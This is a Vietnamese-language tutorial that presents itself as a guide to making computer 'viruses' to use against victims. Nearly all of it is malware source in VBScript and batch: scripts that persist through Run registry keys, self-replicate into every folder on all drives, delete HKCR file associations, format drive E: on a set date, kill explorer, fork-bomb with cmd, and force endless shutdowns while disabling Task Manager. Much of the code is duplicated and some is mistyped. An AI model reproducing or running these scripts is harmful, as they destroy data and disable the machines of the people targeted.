lưu với đuôi .vbs
Đây mới chỉ là virus, nếu viết autorun cho nó nữa thì cực kỳ
nguy hiểm, con này mỗi lần chạy thì nó chiếm 100% cpu của 1 luồng dữ liệu. Với
máy core 2duo thì click 2 phát CPU 100%, core i3, i5 thì click 4 lần. Sau khi
bị chiếm 100% cpu muốn tắt đi thì vào Task Manager tắt hết những chương trình
có đuôi vbscript đang chạy. Đó là virut chạy do con người điều khiển, còn nếu
viết thêm autorun để nó chạy tự động, giả sử số lần click là lớn hơn 10 thì
thôi rồi, chỉ có cài lại win.
Loại virus mình giới thiệu sau đây có tác dụng làm quá tải RAM
của máy tính ,máy tính nạn nhân chỉ có một màu đen,khởi động lại cũng không ăn
thua ,cách làm như sau :mở notepad lên và chép dòng mã lệnh dưới vào:
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
msgbox"May tinh cua ban bi nhiem virut",,"Danger"
msgbox"May se bi lag trong 2s",,"Danger"
msgbox"Ban con 1s",,"Danger"
msgbox"Ban con 0s",,"Danger"
msgbox"May da bi nhiem virus",,"Danger"
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run "notepad",false
loop
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
msgbox"May tinh cua ban bi nhiem virut",,"Danger"
msgbox"May se bi lag trong 2s",,"Danger"
msgbox"Ban con 1s",,"Danger"
msgbox"Ban con 0s",,"Danger"
msgbox"May da bi nhiem virus",,"Danger"
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run "notepad",false
loop
Lưu với đuôi .bat
Loại virus có khả năng mỗi khi bấm sẽ tạo ra một thư mục và làm
cho máy tính nạn nhân tràn ngập virus,mở notepad lên và chép đoạn mã bên dưới
vào :
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
Lưu với đuôi .vbs
Sau đây là đoạn code để giải virus thuốc độc ở trên ,mở notepad lên
chép code sau vào:
'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
Lưu với tên .vbs
Con virus sau có khả năng xóa key file của máy tính nạn nhân và
đây là một trong số mấy con nguy hiểm nhất ở đây,mở notepad lên gõ lệnh sau:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE
Lưu với đuôi.bat
Bomb virus ,chép code vào notepad như sau :
If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit
format E: /y >nul
:exit
exit
Lưu với đuôi.bat
Làm loạn nút Caps Lock ,chép code sau vào:
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Lưu với đuôi.bat
Virus làm ngưng hệ thống máy tính ,chép code sau vào notepad:
@echo off
start calc
tskill msnmsgr
tskill firefox
tskill iexplore
tskill LimreWire
tskill explorer
tskill explorer
tskill explorer
tskill explorer
tskill explorer
pause
start calc
tskill msnmsgr
tskill firefox
tskill iexplore
tskill LimreWire
tskill explorer
tskill explorer
tskill explorer
tskill explorer
tskill explorer
pause
Lưu với đuôi.bat
Con virus dưới đây vô cùng đơn giản nhưng gây hại cũng khá ,nó
sẽ tạo ra liên tục các bản cmd làm ngưng hoạt động của máy tính nạn nhân ,buộc
nạn nhân phải tắt máy nhưng một đều rằng khó mà có thể tắt máy trừ khi cúp cầu
dao thôi ,mỏ notepad lên chép đoạn mã dưới vào:
start 111.cmd
Lưu với đuôi.cmd
Con virus dưới đây vô cùng khủng khiếp khi nạn nhân click bất kì
thứ gì thì 5 giây sau máy sẽ tự động tắt ,không những như vậy khi mở máy lại
cũng 5 giây tự tắt ,mở notepad và chép đoạn mã sau vào:
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v
shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
/v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c "your computer will turn off
after 5s ..."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet
!!!!!!!!!
echo GOOD BYE
pause
del Mr.Boss.bat
Lưu với đuôi .bat
Nếu bạn cho chạy kèm với con này thì khả năng của nó là vô đối
và hầu như là bất diệt,đoạn mã sau :
eg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v
shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
/v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet
!!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del Mr.Boss.bat
Lưu với đuôi .bat
